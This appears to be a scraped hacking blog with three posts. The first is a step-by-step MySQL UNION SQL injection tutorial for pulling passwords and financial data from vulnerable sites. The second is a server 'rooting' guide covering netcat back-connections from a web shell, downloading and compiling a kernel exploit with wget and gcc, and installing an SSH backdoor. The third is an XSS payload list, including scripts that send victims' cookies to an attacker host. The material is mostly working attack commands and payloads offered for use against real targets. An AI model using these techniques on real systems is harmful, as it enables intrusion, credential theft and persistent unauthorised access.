Select column_name FROM table_name limit start,number
column_name is the columns you want. if you want two columns, you would do column1,column2.
table_name is the table. If you want to use a table from a different datbase server, you would do database.table
limit start,number tells the server how many rows you want. Say you want the first 2 rows, you would make start 0 (the first row), and put number 2 for two rows. This would basically say go to the first row (0) and give me the next two rows.
If you wanted the next 2 rows after the first two (but only two, not all 4), you would make start 2 since you already got 2 and make number 2 again. (limit 2,2). This would be saying go to the second row and get me the next two rows. If you wanted all four, youwould make start 0 and number 4.
For injections you dont need to know how to get the data out of the query result in php/asp, which usually involve manipulating the arrays returned by the mysql query, since its already done for you in the code of the script youre trying to hack. You just need to find which columns get displayed to the page, which we will discuss later.
Now, say you want to get the password of a user whose username is "bako123". This is used for login systems to check logins. Then you would use:
Select column_name FROM table_name WHERE column_name = 'Value'
For example, if you wanted to the password column from the table users in a row where the username column is bako123 you would do:
Select password FROM users WHERE username = 'bako123'
This would let you retrieve the password of a certain user, bako123. This can be used in many ways, to retrieve a certain article, user information, a certain persons financial information, etc.
If you wanted to get the password of a user where the name was similar to bako, maybe xbako or bakos or xbakos, you would do
Select password FROM users WHERE username LIKE '%bako%'
The % is a wildchar which basically says there can be text in its place, so in this case there can be text before and after bako since there is a % before and after it.
This leads us to the final discussion in this section: Magic Quotes.
Many database servers (or scripts that access them) have magic quotes enabled. This takes quotes like ', which are needed to specify data like for statements like WHERE username = or in functions we will discuss later that load files with a certain filename. Quotes are needed to specify strings. For example, when we did WHERE username LIKE ‘%bako%’, the quotes told the server that the string to search for was %bako%. If there were no quotes, the server wouldn’t take %bako% as a string, and not only would the search fail but the script would return an error because %bako% is out of place.
Magic Quotes prevents quotes from being used in injections by either making the ' (original quote) to \' (backslashed quote) or '' (double quote).

The \' tells the sql server to take away the meaning of the ' and regard it as a normal character in a string. For example, say you wanted to select a password from a user that had a username Bako's. If you did :
Select password FROM users WHERE username = 'bako's'
the ' in bako's would end the username = value statement and make it WHERE username = 'bako'. Then the s' would be stray and cause an error.
So to sepcify that the ' isnt part of the SQL query syntax but just a normal character in a string like the letter b, you can use \ to take its meaning away and make it be considered a normal character by the server.
Another way the server takes the meaning away from ' is by making it ''. Say you wanted to find a user by the name of bako's again, and you put bako's straight into the script, like
Select password FROM users WHERE username = 'bako's'
the script/server would change it to
Select password FROM users WHERE username = 'bako''s'
which would then create two different strings, bako and s, and since the s is out of place and not in a statment( like SELECT col FROM table WHERE col = value) or function it would cause an error too. There is a way to get around this in certain cases, and it will be discussed later. Now that you know basic info on mysql, time to start Injecting!!
Section 2: SQL Injecting to Steal Data
In this section we will cover each of the steps to succesfully exploiting SQL Injection vulnerabilities in web scripts that use mysql. We will go step by step and cover each part thoroughly. By the time you finished this section you should fully understand how to take advantage of SQL Injection vulnerabilities and be able to succesfully retrieve data such as usernames, passwords, financial information, and other assorted confidential data from databases that are used by vulnerable scripts. Well start from the very beginning of determining if the script is vulnerable or not.
Subsection 2.1: Check for Injections
So say you find a script like this and you want to see if its vulnerable to SQL Injection:
http://site.com/script.php?id=1
In order to further demonstrate how this works, lets say you do know what query the script forms (which is usually very unlikely in real-world injections). Lets say it looks like this:
Select title,data FROM news WHERE id =
What that would do is get the title and data info from the news table in a row where the column id was 1.
So, what if we added some sql commands to the id in the url? Like this:
http://site.com/script.php?id=1'
The output depends on the script’s quality. If the script filters the input for sql keywords, or converts the id value to an integer so the keywords don’t get through, or takes any other precaution to ensure that you cant insert sql statements into the query, then no sql error would be returned, and the page will either load normally or give you a warning like “Attack Spotted, Your IP Address has been recorded “ or something similar. However, if the script had no filtering whatsoever and just got the user data for id straight from the URL and inserted it right into the MySQL Query, then you would get an error like this:
"MySQL Syntax Error By '1'' In file script.php On Line 7."
Then you would know that the server does NOT filter input to make sure there are no sql commands/syntax in it and DOES NOT make sure the data is only an integer. Since you got an error, you are SURE that this is SQL Injectable!
Keep in mind that now all sites has errors as verbose as this, some sites have simple errors like “INTERNAL ERROR” or “ERROR” that reveal no useful data. However, you can be reasonably sure that its injectable. To be fully sure, move on to the next step. If all the possibilities fail in the next step, then you now chances are that’s not an sql error but some other type of error.
Now That you have found out its injectable, lets go step by step through my MySQL Injection outline.

Subsection 2.2 - Step 1)Find out how to close the previous statement.
To do this we will use an SQL operator "and". This word lets you specify two criterias that the row must match when searching the table. For example, if you have a WHERE clause, such as
Select user from users where password = 'pass123'
and want to select data not only where the password is 'pass123' but also where the email is 'email@m.com', you would use somethings like this:
Select user from users where password = 'pass123' AND email = 'email@m.com'
This basically tells the server, as we had before, select the data from the user column in a row in table users where the password is pass123 AND the email also is email@m.com. If both of these criteria are not matched, then the script moves on to the next row.
Another operator like AND is OR. An example:
Select user from users where password = ‘pass123’ OR email = ‘email@m.com’
This basically says, instead of making sure the column password is pass123 AND the email is email@m.com, it searches for rows where the password is pass123 or the email is email@m.com. Both don’t have to be present for the row to be chosen. One will do, even if the other doesn’t equal the right value.
Now say you added an and 1=1 to any statment, it would load since 1 always equals 1. This can be very useful from an attackers point of view. It can help us find out how to close the previous query AND can help us to determine is magic quotes are enabled.
Lets say you dont know the query, as you wont in most cases. The query could be anything like:
Select user from users where id = '1'
or
Select user from users where id = (1)
or
Select user from users where id = 1
etc...
In order to add more SQL commands to steal our data (credit cards, usernames, passwords, etc)we need to be able to end the where id = 1 (or '1', (1), etc). To do that we would have to try different possibilities until we get NO error.
In order to add our command, we would also need to know how to get rid of the other data that will come after our injection. For example, if the query was like this:
Select user from users where id = '1'
and we did http://site.com/script.php?id=1' and 1=1 (lets say magic quotes are OFF)
the query would become
Select user from users where id = '1' or 1=1 '
The stray ' after 1=1, which is left over from the '1' before we added our commands, needs to be taken care of or it will cause an error. To do this, we need to use comments to comment out the rest of the code. Two comment operators are /* and --. Sometimes one will cause an error, in that case try the other.
So lets have an full example for this first step in injections.
Say the script was, as i said before:
http://site.com/script.php?id=1
First we would check if its injectable:
http://site.com/script.php?id=1'
It gives - "Error in MySQL Syntax by '1'' in script.php on line 7."
Now you know its injectable. Now lets try to see how to end the WHERE clause.
http://site.com/script.php?id=1 or 1=1 --
This would work if there was no ' surrounded 1, like in
SELECT title FROM news where id = 1
This gives the error - "Error in MySQL Syntax by '1' or 1=1 --' in script.php on line 7."
Remember, MySQL always surrounds the problem part in the query, in this case 1’ or 1=1 --, with quotes, so don’t let the beginning and end quotes confuse you.
Even though the error shows you that 1 has a ' after it (by '1' or 1=1 --') we will pretend we didnt notice (not all sites have errors like this anyway).
So we would try next
http://site.com/script.php?id=1 or 1=1 /*
same error - "Error in MySQL Syntax by '1' or 1=1 --' in script.php on line 7."
Now lets try ending it with '. so lets do:
http://site.com/script.php?id=1' or 1=1 /*
now we get the error - "Error in MySQL Syntax by '/*'. in script.php on line 7."
This would show us that either /* isnt supported or this sql server is configured so that it needs a */ to close the comment, which would defeat the purpose of commenting out the code. But since it doesnt give us an error about the ' after id=1, we know were close. So we try the next comment opertaor:
http://site.com/script.php?id=1' or 1=1 --
The page loads normally!!! Now we know we need to end the where clause with ' and add -- to the end to add our sql commands!!
Now we move on to the next step:

Subsection 2.3 - Step 2)Check for magic quotes
We know from our example before that magic quotes are off because we used ' to end the WHERE clause and it gave no error, but lets pretend our first try worked, http://site.com/script.php?id=1 or 1=1 --, so were not sure if ‘ causes an error or not. We need to know if magic quotes is on because if we want to use a function like load_file to steal files (discussed later), or choose data where the user = 'admin', we need to be able to use 's, so magic quotes MUST be off.
To find out if theyre on, we would try:
http://site.com/script.php?id=1 or '1'='1' --
If you get an error like:
"Error in MySQL Syntax by '\'1\'=\'1\''. in script.php on line 7."
or
"Error in MySQL Syntax by '''1''=''1'''. in script.php on line 7."
then you would see that magic quotes are on since its adding \s or an extra ' to the ' you put in. Then you would not be able to steal files if load_file was enabled or choose certain data using WHERE ( there is a way to get around it which I will discuss later, but it doesnt work for load_file, just WHERE and other functions discussed later like concat)
Now if you get no error, you know magic_quotes are off and you have an even bigger advantage. That was easy, wasn’t it? Now lets move on.

Subsection 2.4 - Step 3)Check to see if UNION works
UNION is a function in sql that lets us select more data in a single sql statement. This can be very useful since we need to use it in order to select our own data that we want to steal from the database such as passwords or financial data. To illustrate its use further, heres an example. Say the query was:
SELECT user from users where pass = 'pass'
we could do
SELECT user from users where pass = 'pass' UNION select email from emails limit 0,1
And no error would be displayed. You don’t need to know how it helps get data to the page etc since its not needed to get the injection working.
However, in order to get the data from the UNION SELECT displayed, we would need to make sure the first select statement displays no data at all.If the first select statement does return data, it will overwrite the data from the UNION. We will discuss this later. Also, it is always good to use UNION ALL instead of just UNION, it can prevent type mismatch errors.
Now, UNION is only availabe in mysql server versions above 3 (4,5,6 - 6 is the latest, but 5 is most popular). So in order to steal our data, we need to use union (well, we could use blind injection, but thats a pain in the ass), and in order to use union, the mysql version MUST be > 3.
There is a way to check for the mysql version without union ( 1 and (substr(@@version, 1)>3 )- but its more advanced than the general tone of this tutorial at the moment (ill go over it in a bit), so we will use an easier way. This is to try a union select and judge the error. So we could try:
http://site.com/script.php?id=1' UNION ALL SELECT 1 --
If you get an error like :
"Error in MySQL Syntax by 'UNION'. in script.php on line 7."
Then you know that the server is not understanding what UNION is since its getting an error at the UNION keyword. If you got an error like:
"MySQL Error: Select statements must have the same number of columns in script.php on line 7."
Then you know union worked since it realizes that both selects don’t have the same number of columns, therefore showing that it reads two selects, where ones the original and one our union. Even If we got a different error such as a type conversion, as long as its not saying an error by UNION its ok. For some errors that just show “INTERNAL ERROR” or something similar, it’s a good idea to try the next method.
So, if there arent error messages like this, and just errors like INTERNAL ERROR, then you can use
http://site.com/script.php?id=1' and substr(@@version,1)>3 --
Substr is a function that takes a certain character from a string. @@version gives us the mysql version in a string. So say @@version returned 4.1.33-log, subtr would get the 1st letter in it (the ,1 in substr(@@version,1)), which is 4. Then it checks if 4 is greater than 3 (the >3 part). If it is, the page loads normally. If it doesnt, the page will load with no data (you can get a blank page, or a page with the basic template but no actual data, e.g. no title for the news and no actual news).
Now if UNION works, were in business! Time to move on! if not, you can use blind injection, which will be briefly discussed later in Part 2.

Subsection 2.5 - Step 4)Find the number of columns
This section will fix this error we got before- "MySQL Error: Select statements must have the same number of columns in script.php on line 7.". In order to actually use UNION to steal data, we must make union work first with no error at all so the page can load and display the stolen data.
This error occured because the initial SELECT statement and the UNION ALL SELECT statement we injected had a different number of columns.Whenever you have UNION SELECT (or UNION ALL SELECT), the number of columns must ALWAYS match the number of columns in the first SELECT statement, or you’ll get an error. For example, if the query looked like this:
Select user,pass FROM users WHERE userid = 1 UNION ALL SELECT email FROM emails
You will get that error since the first select is selecting two columns (user and pass) while the UNION ALL SELECT is selecting only one (email). So if you did
Select user,pass FROM users WHERE userid = 1 UNION ALL SELECT email,id FROM emails
There wouldnt be an error and the query would execute succesfully since the first select statement is selecting two columns (user and pass) and the second select, the union all select, is also selecting two columns (email and id).
Now to get the number of columns in the first select statment, we can do two things:
1) guess the number of columns till you get it right. For example
http://site.com/script.php?id=1' UNION ALL SELECT null --
(null is a data type that means empty. If you used 1 or 'the' - or in other words, an integer or string, you might get a type mismatch error)
If you get an error like "MySQL Error: Select statements must have the same number of columns in script.php on line 7." then you move on to
http://site.com/script.php?id=1' UNION ALL SELECT null,null --
and continue adding a ,null (an extra column) to the URL until you get no error. Then count the nulls and thats the number of columns!
2) use order by - this is WAY easier.
ORDER BY is a statement in SQL that tells the database server how to order the result. For example, if you did
SELECT title,data FROM news WHERE id=1 ORDER BY news ASC

the server would order the all the output in alphabetical order from a-z. If you changed ASC to DESC it would make it z-a.
The server automatically sees if the column is a string or integer. if its a string, it goes alphabetically, and if its an integer, numerically.
ORDER BY also selects numbers instead of columns. The number is the number of the column in the select statement. For example, if the query waas this:
SELECT title,data FROM news WHERE id=1 ORDER BY 1 ASC
It would choose the first column chosen in the query, which is title (it chooses from title, data). Then it orders the result alphabetically from a-z.
If it was
SELECT title,data FROM news WHERE id=1 ORDER BY 2 ASC
It would use the second column selected, data, and order it by that.
So we can take advantage of this and try numbers from 1 on in the URL. Once we hit an error saying that the column is invalid, we know that the last number to NOT give an error is the number of columns. Heres an example:
http://site.com/script.php?id=1' ORDER BY 1 -- no error
http://site.com/script.php?id=1' ORDER BY 2 -- no error
http://site.com/script.php?id=1' ORDER BY 3 -- no error
http://site.com/script.php?id=1' ORDER BY 4 -- error - "MySQL Error: No column number '4' in WHERE clause in script.php on line 7."
So we know that 3, the last number to not give an error, is the number of columns in the first select!
Now lets move on to the next step!

Subsection 2.6 - 5)Craft a union statement that doesnt cause an error & see which columns are outputted
So now that we know the number of columns, we need to make a union statement and see which columns are outputted to the site so we know which columns we can use to retrieve and output our data to the screen. This is generally a two step process.
1)First we craft the union select statement( rememer to use union all) which numbers as the columns. An example:

http://site.com/script.php?id=1' UNION ALL SELECT 1,2,3 --
If there is no error, you look at the screen and check which numbers are displayed in the place data would normally be put (for example, in the place where the article title would be, check if a number is there).
If the numbers are on the screen, you know you can use the columns with those numbers to display stolen data. The other columns that arent displayed are useless.
For example, if you see the number 2 in the title of the page and a number 3 where the article is usually displayed, you know that you can use the second and third column (where you put the 2 and 3 in the union all select 1,2,3 --) to display data you will steal from the database to the page.
Now if you get an error when you use all numbers like: "MySQL Error: Cant convert int in script.php on line 7." then you know that one column cant be a number, so you should move to step 2.
2)Since we know that we cant go all out and put all integers, we need to use null. Null never causes a type conversion error since its just an empty data holder. So we try:
http://site.com/script.php?id=1' UNION ALL SELECT null,null,null --
Now if you can an error, there is a good chance the script has TWO select statements. For example, first it can do
SELECT title,data,author FROM news WHERE id= '[your data from the url]'
then in a later line in the script it uses the id value from the url again in another select statement like this:
SELECT data,time FROM news WHERE id= '[your data from the url]'
Now, the first select statment would be like this:
SELECT title,data,author FROM news WHERE id= '1' UNION ALL SELECT null,null,null --
but the second will be
SELECT date,time FROM news WHERE id = '1' UNION ALL SELECT null,null,null --
This would cause an error since the second query has ONLY TWO columns in the first select statement (time,year), while the union all select has THREE columns. This will cause another error saying select statement need the same number of columns. Now if you change the UNION ALL SELECT to have two nulls, then the first select would cause an error.

Unfortunately, there is no way around this in mysql at the moment. (in mssql there is, however). A good way to double check that its a multi select and not that you messed up the number of columns in the UNION select statement is to cause an error like we did before, doing
http://site.com/script.php?id=1'
Say you got an error like this:
"MySQL Syntax Error By '1'' In file script.php On Line 7."
Then do the union all select url like this:
http://site.com/script.php?id=1' UNION ALL SELECT null,null,null --
say you get an error like this:
"MySQL Error: Select statements must have the same number of columns in script.php on line 18."
Now look at the two errors. The first is on line 7, and the second on line 18. Now that you know that two separate lines of code caused the error, you know that two separate queries caused the error and it is infact a multi select, which you cant get around.
Keep in mind that not all sites have errors that verbose. Some just say "error". Then you would have to double check the columns and make sure you didnt make a mistake.
So lets say there is no multi select. We left off at :
http://site.com/script.php?id=1' UNION ALL SELECT null,null,null --
Now there is no error. So we try this:
http://site.com/script.php?id=1' UNION ALL SELECT 1,null,null --
We check for two things: an error, and if no error is displayed, check if the number 1 is displayed on the page in a place it wasnt before, like the title or where the news or author would be.
Say you get the same error as before in step 1:
"MySQL Error: Cant convert int in script.php on line 7."
Then you know that the first column causes an error, and you should ignore it and switch it back to null.
If it happens that all the columns cause errors or arent displayed on the page, you can come back and test it with 'test' instead of 1 and see if it displays text or still gives a conversion error. If you get no error AND the word test is displayed on the page, you can then go further and get usernames/passwords and any other text based data, but not data that are integers like dates and credit cards.

So now that we know 1 causes an error, we move on and check column two after we switch 1 back to null.
http://site.com/script.php?id=1' UNION ALL SELECT null,2,null --
Now look at the screen. Lets say there is an error. So now we know that 2 also causes an error and cant be used.
So lets change 2 back to null and try 3.
http://site.com/script.php?id=1' UNION ALL SELECT null,null,3 --
and guess what - no error! now check the page for the number 3. Check any places such as the title bar in your browser and places where data was like where the news was orthe author or date. If you dont find anything, dont give up, make the number unique like 1232323132 and view the source and see if its displayed in any hidden tags.
If its not displayed, as i said before, you can go back to the other two and try strings like 'test' (as long as magic quotes are disabled, or your getting around them like i will explain later), and check if those are displayed.
So now we are left with:
http://site.com/script.php?id=1’ UNION ALL SELECT null,null,3 –
and we know we can use the 3rd column to display our stolen data! So lets move on to step 6:

Subsection 2.7 - Step 6)Check the mysql version to see if information_schema is present
This is an easy step!
Information_Schema is a part of the database that holds ALL of the table names and column names stored in that database. You can access it like any other table.
To get tables, you would use information_schema.tables like this:
select table_name from information_schema.tables
This would return all of the tables that exist in the database.
To get columns you would use information_schema.columns
select column_name from information_schema.columns
This would return all the column names in all the tables of the database.
Information_schema.columns also holds the table names, so you can switch column_name with table_name and use it to get tables too.
Now this luxury is only available in mysql version 5 and up (6). So to make sure we can use it, we need to use the @@version command to check the version. So lets take our url and change 3 with @@version.
http://site.com/script.php?id=1' UNION ALL SELECT null,null,@@version --
Now, check where the 3 was before to see the version.
If the version is like 4.0.22-log, then the mysql version is 4 and you cant use information_schema.tables, but if its 5.0.1, then you can use information_schema.tables! You can also use the substring method I described before.
Now lets move on to step 7:
Subsection 2.8 – Step 7) Retrieve the desired columns
If the version is aboveor equal to 5, we can scan information_schema for password (or credit card, etc) columns. If not, we have to guess and use clues given to us in errors to find prefixes, tables and columns that we want to steal data from. So for the first part lets assume that information_schema is enabled.
Now we need to scan information_schema for columns that are similar to pass, password, user_pass, etc. ( you can change it around so it will be creditcard, address, phone number, etc)
So, we need to use information_schema.columns and the LIKE operator along with wildchars (%) as i discussed in the basic info section.
So if we were putting queries straight into the db server, it would look like this:
SELECT column_name FROM information_schema.tables WHERE column_name LIKE '%pass%'
(of course, magic quotes will have to be off. If they're on, you will learn how to get past them later on)
For our vulnerable site, it would look like this:
http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' –
The LIKE ‘%pass%’ is telling the server to scan make sure column_name has a value that is similar to “pass” and can have text before and after it (the wildchars). So it could be pass, userpass, password, etc.
This will return the first column_name that is like pass, with text before and after it (from the wildchars before and after it).
Now say you want the table_name the columns in so you can access it with union. You would simply change column_name to table_name like this:
http://site.com/script.php?id=1' UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE '%pass%' --
Now say you dont like this first column/table, and you want to see if theres a second. There are two ways we can do this. The first is with limit (which i explained in the basic info section). So you would add limit 0,1 at the end which saying get 1 result starting from the 0th (first for humans, 0 for computers) result.
Then after you get the column/table, to move on you would do limit 1,1 then limit 2,1 etc until it runs out of columns. Heres an example:
http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 0,1 --
http://site.com/script.php?id=1' UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 0,1 --
then record the column and table its in. Lets say the columns userpass and table members. Then we’d change it to:
http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 1,1 --
http://site.com/script.php?id=1' UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 1,1
then record the info again then. Then we change it to:
http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 2,1 --
http://site.com/script.php?id=1' UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE '%pass%' limit 2,1 --
etc, until you run out of columns that are like pass.
Now say you didnt want to use limit. You could also use NOT IN(). For example, say you did
http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%'
http://site.com/script.php?id=1' UNION ALL SELECT 1,2,table_name FROM information_schema.tables WHERE column_name LIKE '%pass%'

and you got the column user_password and table members. Now you wanted to see if there was an admins table with a column like pass. So you would add to the end
AND column_name NOT IN ('value'). This says choose the first row where the column "column_name" doesnt have this value. So if you wanted to get the next user column, you would do
http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' AND column_name NOT IN ('user_password') --
or to be more safe, incase the admins table also has the column user_password, you could make it check for the table name like:
http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' AND table_name NOT IN ('user_password') --
Then say you got the column password and table backup_members. This is only a backup table, so you want to keep on going until you get the admins table. then you would take the url from before and add a ,'backup_members' to the NOT IN ('user_password') like this:
http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE column_name LIKE '%pass%' AND table_name NOT IN ('user_password', 'backup_members') --
and then you would check the table name like this:
http://site.com/script.php?id=1' UNION ALL SELECT 1,2,column_name FROM information_schema.tables WHERE table_name LIKE '%pass%' AND table_name NOT IN ('user_password', 'backup_members') --
You would continue adding ,'table_name' until you finally got to the admins table (if there is one!)
Keep in mind magic quotes must be off for this. Again, you will found out how to bypass magic quotes in times like this later.
Now lets say the mysql version was only 4 and information_schema IS NOT present. So we would have to use another method to try to get the tables/columns of our interest. Basically, you would first look in the errors and see if it discloses the whole query or atleast the table and column (etc Mysql Error in 'userpass FROM users where id=1''), and the then resort to good old guessing. These two steps mainly revolve around luck and poor error message configuration.
So let me explain the error method first. Lets say you do this:
http://site.com/script.php?id=1'

and get the error:
MySQL Syntax Error in the query 'SELECT name FROM sb_news WHERE id = 1''
In the above example, the tables have a prefix (sb). Prefixes are usually present in each table if their in one and are very common in sites. Now that you know the prefix, you would guess sb_users, sb_members, sb_admins, sb_accounts, etc. You see that the column has no prefix, so after you get the table you would try username, password, user_password, user_pass, login, etc... If the error was
MySQL Syntax Error in the query 'SELECT name FROM news WHERE id = 1''
Then you would know the columns have no prefix and you wouldnt have to guess with the prefix. However errors like this are very uncommon. A more common error would be:
Mysql Error: Syntax error by '1' AND g_embedable=1 LIMIT 1' at line 1
This would show you the column name in the particular table. This would be useful because you can now assume either all the columns in the database have the g_ prefix, or you could somehow figure out why it has the prefix (for example, if it was a page of games, you could guess that g stood for games), then see how you can modify it for the users table (so if the table was users, it could be u_password, u_pass, u_username, u_user, u_login, etc). Of course, you would have to straight out guess the tables and if they had prefixes.
But once you have this info, how exactly do you check if the table/column exists? You would use a union all select that selected null (nothing) from the table youre guessing. For example:
http://site.com/script.php?id=1' UNION ALL SELECT null,null,null FROM table (remember to use the right number of columns)
Now if you get an error saying Mysql Error: Table 'table' Not found in script.php on line 7 or any error similar, you know the table doesnt exist.
Once you have guessed the table correctly, then you would have to guess the column. You would do this by changing a null to the column name you guessing and seeing if there was an error. For example:
http://site.com/script.php?id=1' UNION ALL SELCT null,null,password from users
If there is no error and the page loads, then you know the column is password. If there is an error saying invalid column, you have to keep guessing. Remember to use a column that does NOT cause a conversion error since the error may be misleading.
Now that you have the column and table you want to steal data from, well move on to the next step!:

Subsection 2.9 - Step 8)Get your data
This is the final part of this tutorial, and easy as hell!
So we have our table and column. Lets say the table is users and the two columns you got are username and password. So all we have to do to get the data from those columns is use a simple select query in our url and limit to sift through the rows! So with username and password in table users, we would do this:
http://site.com/script.php?id=1' UNION ALL SELECT null,null,username FROM users --
Then check the page where the data is displayed and youll see the username!
Now for the password:
http://site.com/script.php?id=1' UNION ALL SELECT null,null,password FROM users --
Then check the page where the username was and you’ll see the password! Now, instead of doing two separate queries for the username and password, there are two ways to get the data out at the same time.
The first is if two columns display data to the page. Say columns 2 and 3 displayed data in our UNION ALL SELECT null,null,null. So we would do
http://site.com/script.php?id=1' UNION ALL SELECT null,username,password FROM users --
Then you can look on the page for the username AND password. But they are on different parts of the page, arent they? To get them together, we can use the function concat(). Concat joins strings. the syntax is concat(string1,string2,etc). You can put in as many strings as you want separated by commas. You can either use column_names or actual strings enclosed by 's (magic quotes must be off). The benefit is the data is together and we only need one column that outputs.
So we can do this:
http://site.com/script.php?id=1' UNION ALL SELECT null,null,concat(username,password) FROM users --
But then there would be no distinction between the username and password. So we should add an --- between them. So we could do concat(username,'---',password). Again, magic quotes MUST be off for this to work. An example would be:
http://site.com/script.php?id=1' UNION ALL SELECT null,null,concat(username,'---',password) --
Then you will see the username and password separated by ---'s on the page!
Now, what if you didn’t want the first users password? Then you would use limit as I discussed earlier. You would tell limit to start from the 2nd row (which is actually 1 for computers since 0 is the first) and to choose 1 row (limit 1,1). So you would do
http://site.com/script.php?id=1’ UNION ALL SEELCT null,null,concat(username, ‘---‘, password) limit 1,1 –
Then you would check the page again and in the place you saw the previous username and password you would see the second users in the same exact format. Now if you wanted the next user, you would change limit 1,1 to limit 2,1, then the next would be limit 3,1, etc etc until you have all the users you want!
And that concludes part I of my tutorial! Hope you liked it!

Learn Root - Totally Explaind

2011-12-27T07:35:00.000-08:00

#So Lets Start...

These are Some Basic Questions asked by myself as a n00b :P

# What is rooting ?
A. Getting access to the user => "root", the main admin of the site.

# What is the need of rooting ?
A. Getting master admin privillages of Servers

Things you need

# A Shell on a Website
# An Exploit
# Log cleaner
# Ssh Backdoor
# Netcat
# A Brain

Simply you can seach on http://www.google.com for these, except BRAIN and SHELL

Getting Back Connection to the servers

Open command prompt, and go to NetCat Path, Type
"cd netcat.exe"

ok Open your Shell in your browser, go to the back connection tab, if it is not there get a shell like "WSO 2.3" or Any other
thats your choice....

Specify your "ip & port as 2121". press connect, now you'll get a shell to the server, you can give commands to the server through that shell.

now came back to netcat and type "nc -l -v -p 2121"

it will give you this output:
Code:
c:\netcat>nc -l -v -p 2121
listening on [any] 2121 ...

Getting a Right exploit for the servers

Type : Uname -a & hit enter.
It'll look something like this:

Code:
[admin@www.target.com /home/saijyoti/public_html/cgi-bin]$ uname -a
Linux dualxeon09.ns5.999servers.com 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9 12:54:20 EST 2010 x86_64 x86_64 x86_64 GNU/Linux

You have noted, It shows the kernal version of the server is: 2.6.18-194.26.1.el5
& Year is 2010.

You need to find a perfect exploit for it. you can find them at:-
$ Exploit-db.com
$ Packetstormsecurity.org
$ Th3-0utl4ws.com
$ Leetupload.com

Compiling & executing exploits

Now I've got a exploit, & it is written in C. So I can't execute it by just uploading. but I need to compile it.

Before proceeding further, Cd into the tmp directory, because it is always writable. So type: Cd /home/XXXXX/public_html/tmp
// The path may be different, replace it with yours.

So first I'll get the exploit on the server, So I type : Wget http://exploitsite.net/2010-exploits/exploit.c
// Note: There is no such site, I'm just taking it to show you.
It'll look something Like this:-

Code:
admin@www.target.com /home/target_usernemr/public_html/tmp]$ wget http://exploitsite.net/2010-exploits/exploit.c
--2011-01-25 08:21:43-- http://exploitsite.net/2010-exploits/exploit.c
Resolving www.exploitsite.net... 199.58.192.192
Connecting to www.exploitsite.net|199.58.192.192|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15088 (15K) [text/x-csrc]
Saving to: `exploit.c'

now change the permission of the exploit to 777.
Type: "Chmod 777 exploit.c"

Now the exploit is On my server, I just need to compile & execute it.
So, I'll give the command: "gcc -o exploit exploit.c"
It'll compile & save the exploit as >> exploit

Next step is to execute it So we'll type: "./exploit"

here it'll show different process...
: #
: #
got root you m0f0 !! [<example]

Now it say got root. Let's Check is it true,
Type: "whoami"

then it will say "root"

like: uid=0(root) gid=0(root) groups=0(root)

type "su" to get full privilages !

Installing Backdoors

type: "Wget http://www.urlofbackdoor.com/sshdoor.zip"

Then Type,
Unzip Sshdoor.zip
Then, => Cd sshdoor
Then type, ./run pass port
^ replace pass with your password, & a port.

Now connect with putty & enjoy root privileges.

Methods to execute exploits written in other languages

C exploit

----------------------
gcc -o exploit exploit.c
chmod +x exploit
./exploit
----------------------

Perl Exploits

---------------
perl exploit.pl
---------------

Python

------------------
python exploit.py
------------------

php

-----------------
php exploit.php
-----------------

zip

----------------
unzip exploit.zip
./run
----------------

Just fo Education Purpose !!

Common ways possible XSS, SQL, PHP-inj ....

2011-10-22T22:50:00.000-07:00

Sometimes it happens that we have a site that is vidm CSU, but do not know how to use injections, below I present the most

extended ones and not injection ...

XXS

</ Textarea> <script> alert (/ xss /) </ script>
</ Title> <script> alert (/ xss /) </ script>
<script src=http://yoursite.com/your_files.js> </ script>
"> <script> Alert (0) </ script>
<IMG SRC = javascript: Alert (String.fromCharCode (88,83,83))>
<IMG SRC=\"javascript:alert('XSS');\">
<IMG SRC=\"jav ascript:alert('XSS');\">
<IMG SRC=\"jav ascript:alert('XSS');\">
<marquee> <script> alert ('XSS') </ script> </ marquee>
<? echo ('<scr)';echo('ipt> alert (\ "XSS \") </ script>');?>
<style> @ im \ port '\ ja \ vasc \ ript: alert (\ "XSS \ ")';</ style>
<img src=foo.png onerror=alert(/xssed/) />
<script> alert (String.fromCharCode (88,83,83)) </ script>
<Scr <script> ipt> alert ('XSS');</ scr </ script> ipt>
<script>location.href="http://www.yourevilsite.org/cookiegrabber.php?cookie="+escape(document.cookie)</script>
<script src="http://www.yourevilsite.org/cookiegrabber.php"> </ script>
<script> alert ('XSS');</ script>
<script> alert (1); </ script>
<IMG LOWSRC = \ "javascript: Alert ('XSS') \ ">
<IMG DYNSRC = \ "javascript: Alert ('XSS') \ ">
<font style='color:expression(alert(document.cookie))'>
<Img src = "javascript: Alert ('XSS') ">
<script language="JavaScript"> alert ('XSS') </ script>

<Body onunload = "javascript: Alert ('XSS');">
<Body onLoad = "alert ('XSS');"
[Color = red 'onmouseover = "alert (' xss')"] mouse over [/ color]
"/></ A ></>< img src = 1.gif onerror = alert (1)>
window.alert ("Bonjour!");
<div style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCode(88,83,83));'))">
<Iframe <? Php echo chr (11)?> Onload = alert ('XSS')></ iframe>
"> <Script alert (String.fromCharCode (88,83,83)) </ script>
'>> <marquee> <h1> XSS </ h1> </ marquee>
'">>< Script> alert ('XSS') </ script>
'">>< Marquee> <h1> XSS </ h1> </ marquee>
